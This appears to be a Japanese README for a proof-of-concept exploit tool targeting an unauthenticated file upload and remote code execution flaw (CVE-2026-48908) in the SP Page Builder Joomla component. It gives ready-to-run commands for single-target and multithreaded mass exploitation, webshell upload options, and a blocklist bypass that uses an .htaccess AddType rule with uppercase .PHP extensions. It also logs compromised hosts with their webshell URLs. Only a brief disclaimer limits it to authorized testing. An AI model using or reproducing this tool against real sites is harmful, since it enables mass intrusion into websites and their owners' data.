
CVE-2026-48908 の未認証RCE PoC SP Page Builder (Joomla) 任意ファイルアップロードおよびリモートコード実行エクスプロイト、大量スキャン対応。
Joomla ≤ 6.6.1 向け SP Page Builder (com_sppagebuilder) は、認証されていない攻撃者が任意のファイルをアップロードし、リモートコード実行を達成することを許可します。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (不適切なアクセス制御) |
| コンポーネント | SP Page Builder (com_sppagebuilder) |
| 影響を受けるバージョン | 1.0.0 – 6.6.1 |
| 修正バージョン | 6.6.2 |
| 権限 | なし (認証前) |
| ユーザー操作 | なし |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # 調査のみ、コマンドは実行しない
python3 exploit_poc.py https://target.example --token abc123 # カスタムトークン
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20の並列スレッド
python3 exploit_poc.py --hosts ips.txt --no-verbose # 静音モード
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
注:
--shell-fileを使用する場合、スクリプトは webshell をアップロードして URL を報告するだけで、-cコマンドの実行や実行テストは行いません。アップロードされたシェルはコマンド入力を独立して処理する必要があります。



スキャン後、3つの結果ファイルが保存されます:
このエクスプロイトは com_sppagebuilder の asset.uploadCustomIcon タスクを悪用します:
/media/com_sppagebuilder/assets/iconfont/<name>/fonts/ に展開します。スクリプトは複数の PHP 拡張子 (.php, .PHP, .pHp, .Php, .pht, .phtml など) を試し、実行可能なものを見つけます。
直接の PHP 拡張子が SPPB のフィルターでブロックされている場合、スクリプトはペイロードと一緒に .htaccess ファイルを配置します:
AddType application/x-httpd-php .PHP
これによりウェブサーバーは .PHP (大文字) を PHP として扱うよう強制され、SPPB の大文字小文字を区別するブロックリストをバイパスします。AllowOverride が有効で、/media での PHP 実行が許可されている必要があります。
注:
.htaccess+ 大文字の.PHPバイパスはすべての構成で動作するとは限りません。失敗した場合は、代わりに.pngまたは.jpeg拡張子を使用してみてください。AllowOverrideが無効または/mediaで PHP 実行がブロックされているサーバーでは、アップロードされたシェルも実行できません(「書き込みのみ」として報告されます)。
この PoC は https://github.com/papageo75/CVE-2026-48908-PoC/ に基づいており、以下の追加が行われています:
一部のサーバー応答には、実際の JSON ペイロードの前に非 JSON のプレフィックス (例: cron 式やその他のゴミ) が含まれる場合があります。元の PoC はそのような応答を解析する際に r.json() でクラッシュしていました。このバージョンでは最初の { 文字をスキャンし、JSON 部分文字列のデコードを試みます:
Before:
try:
data = r.json()
except ValueError:
return None
After:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
例 — 有効な JSON 応答:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
例 — 非 JSON 応答 (JSON の前にゴミプレフィックスがある場合):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
マルチスレッドの一括スキャン機能を追加しました:
--hosts <file> — ファイルからターゲットを読み込みます (1行に1ホスト)-j, --threads <n> — 並列スレッド数を設定します (デフォルト: 10)--no-verbose — ホストごとの詳細出力を抑制します.txt ファイルに保存されます組み込みの token で保護されたシェルの代わりにカスタム PHP webshell をアップロードする --shell-file <path> オプションを追加しました。このオプションを使用する場合:
-c コマンドを実行せずにシェルをアップロードしますrun()) は行われませんcustom_shell_hosts.txt に保存されます許可された使用のみ。認可されたペネトレーションテスト、CTF、ラボ環境のターゲットのみに使用してください。このツールの使用については、すべての責任を負うものとします。
| フラグ | 説明 |
|---|
url | 対象 URL (位置引数または --url) |
--hosts <file> | 1行に1ホストずつ記述されたファイル |
-c, --cmd <cmd> | 実行するコマンド (デフォルト: id) |
--check | 調査のみ、コマンドを実行しない |
--token <token> | アップロードされたシェルを保護する secret (デフォルト: ランダム) |
--shell-file <path> | 組み込みの代わりにカスタム PHP webshell をアップロード |
-j, --threads <n> | 一括スキャンの並列スレッド数 (デフォルト: 10) |
--no-verbose | ホストごとの詳細出力を抑制 |
| ファイル | 内容 |
|---|
vulnerable_hosts.txt | RCE が確認されたホストと webshell URL |
not_vulnerable_hosts.txt | 修正済みまたは存在しないホスト |
partial_vulnerable_hosts.txt | ファイル書き込み可能だが PHP 実行不可のホスト |
custom_shell_hosts.txt | カスタムシェルがアップロードされたホスト(ベースURLでグループ化、--shell-file 使用時のみ生成) |
scan_results.json | 全ホストの完全な JSON 結果 |